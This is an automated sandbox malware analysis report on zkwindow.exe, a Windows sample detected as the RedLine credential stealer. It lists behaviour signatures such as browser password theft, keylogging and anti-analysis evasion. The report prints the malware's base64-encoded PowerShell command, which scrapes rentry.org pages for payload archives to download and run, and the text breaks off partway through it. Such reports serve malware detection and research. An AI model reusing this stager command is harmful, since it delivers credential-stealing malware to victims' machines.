Windows
Analysis Report
zkwindow.exe
Overview
General Information
Detection
RedLine
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected RedLine Stealer
Connects to many ports of the same IP (likely port scanning)
Drops password protected ZIP file
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Obfuscated command line found
Powershell drops PE file
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 7zip to decompress a password protected archive
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
zkwindow.exe (PID: 7804 cmdline:
"C:\Users\ user\Deskt op\zkwindo w.exe" MD5: BD04D8B3CC0B6A257D2F73E726E7CBEC) powershell.exe (PID: 7820 cmdline:
powershell .exe -w h -Nop -NonI -e"n"c Ww BOAGUAdAAu AFMAZQByAH YAaQBjAGUA UABvAGkAbg B0AE0AYQBu AGEAZwBlAH IAXQA6ADoA UwBlAGMAdQ ByAGkAdAB5 AFAAcgBvAH QAbwBjAG8A bAAgAD0AIA BbAE4AZQB0 AC4AUwBlAG MAdQByAGkA dAB5AFAAcg BvAHQAbwBj AG8AbABUAH kAcABlAF0A OgA6AFQAbA BzADEAMgAg AC0AYgBvAH IAIABbAE4A ZQB0AC4AUw BlAGMAdQBy AGkAdAB5AF AAcgBvAHQA bwBjAG8AbA BUAHkAcABl AF0AOgA6AF QAbABzADEA MwANAAoADQ AKAGYAdQBu AGMAdABpAG 8AbgAgAEcA ZQB0AC0AWg BpAHAATABp AG4AawBGAH IAbwBtAFAA YQBnAGUAIA B7AA0ACgAg ACAAIAAgAH AAYQByAGEA bQAoAFsAcw B0AHIAaQBu AGcAXQAkAH AAYQBnAGUA VQByAGwAKQ ANAAoAIAAg ACAAIAAkAH IAZQBzAHAA bwBuAHMAZQ AgAD0AIABJ AG4AdgBvAG sAZQAtAFcA ZQBiAFIAZQ BxAHUAZQBz AHQAIAAtAF UAcgBpACAA JABwAGEAZw BlAFUAcgBs ACAALQBVAH MAZQBCAGEA cwBpAGMAUA BhAHIAcwBp AG4AZwANAA oAIAAgACAA IAAkAGwAaQ BuAGsAIAA9 ACAAJAByAG UAcwBwAG8A bgBzAGUALg BMAGkAbgBr AHMAIAB8AC AAVwBoAGUA cgBlAC0ATw BiAGoAZQBj AHQAIAB7AC AAJABfAC4A aAByAGUAZg AgAC0AbQBh AHQAYwBoAC AAIgBcAC4A egBpAHAAIg AgAH0AIAB8 ACAAUwBlAG wAZQBjAHQA LQBPAGIAag BlAGMAdAAg AC0ARgBpAH IAcwB0ACAA MQANAAoAIA AgACAAIABp AGYAIAAoAC QAbABpAG4A awApACAAew ANAAoAIAAg ACAAIAAgAC AAIAAgAGkA ZgAgACgAJA BsAGkAbgBr AC4AaAByAG UAZgAgAC0A bQBhAHQAYw BoACAAIgBe AGgAdAB0AH AAcwA/ADoA LwAvACIAKQ AgAHsADQAK ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgAHIAZQB0 AHUAcgBuAC AAJABsAGkA bgBrAC4AaA ByAGUAZgAN AAoAIAAgAC AAIAAgACAA IAAgAH0ADQ AKACAAIAAg ACAAIAAgAC AAIABlAGwA cwBlACAAew ANAAoAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAcg BlAHQAdQBy AG4AIAAoAE 4AZQB3AC0A TwBiAGoAZQ BjAHQAIABT AHkAcwB0AG UAbQAuAFUA cgBpACgAKA BOAGUAdwAt AE8AYgBqAG UAYwB0ACAA UwB5AHMAdA BlAG0ALgBV AHIAaQAgAC QAcgBlAHMA cABvAG4Acw BlAC4AQgBh AHMAZQBSAG UAcwBwAG8A bgBzAGUALg BSAGUAcwBw AG8AbgBzAG UAVQByAGkA KQAsACAAJA BsAGkAbgBr AC4AaAByAG UAZgApACkA LgBBAGIAcw BvAGwAdQB0 AGUAVQByAG kADQAKACAA IAAgACAAIA AgACAAIAB9 AA0ACgAgAC AAIAAgAH0A DQAKACAAIA AgACAAZQBs AHMAZQAgAH sADQAKACAA IAAgACAAIA AgACAAIABy AGUAdAB1AH IAbgAgACQA bgB1AGwAbA ANAAoAIAAg ACAAIAB9AA 0ACgB9AA0A CgANAAoAJA BwAGEAZwBl ADEAIAA9AC AAIgBoAHQA dABwAHMAOg AvAC8AcgBl AG4AdAByAH kALgBvAHIA ZwAvADAAeA BmADYARQBB ADcAYgBGAD UAZAAwADgA OQBGADQAMw A5AEUAYwA2 AGUANwBhAD EAMwAxADMA OAA4ADUANw A5AGQAMABD AGEAYQA4AD YAMgBkADQA RQBFADAAIg ANAAoAJABw AGEAZwBlAD IAIAA9ACAA IgBoAHQAdA BwAHMAOgAv AC8AcgBlAG 4AdAByAHkA LgBvAHIAZw AvADAAeABm ADYARQBBAD cAYgBGADUA ZAAwADgAOQ BGADQAMwA5 AEUAYwA2AG UANwAwADEA MAAxADAAMQ BhADgAOAA1 ADcAOQBkAD AAQwBhAGEA OAA2ADIAZA A0AEUARQAw ACIADQAKAC QAcwBlAHYA ZQBuAFoAaQ BwAFUAcgBs ACAAPQAgAE cAZQB0AC0A WgBpAHAATA BpAG4AawBG AHIAbwBtAF AAYQBnAGUA IAAkAHAAYQ BnAGUAMQAN AAoAJABtAG EAbgBhAGcA ZQByAFoAaQ BwAFUAcgBs ACAAPQAgAE cAZQB0AC0A WgBpAHAATA BpAG4AawBG AHIAbwBtAF AAYQBnAGUA IAAkAHAAYQ BnAGUAMgAN AAoAaQBmAC AAKAAtAG4A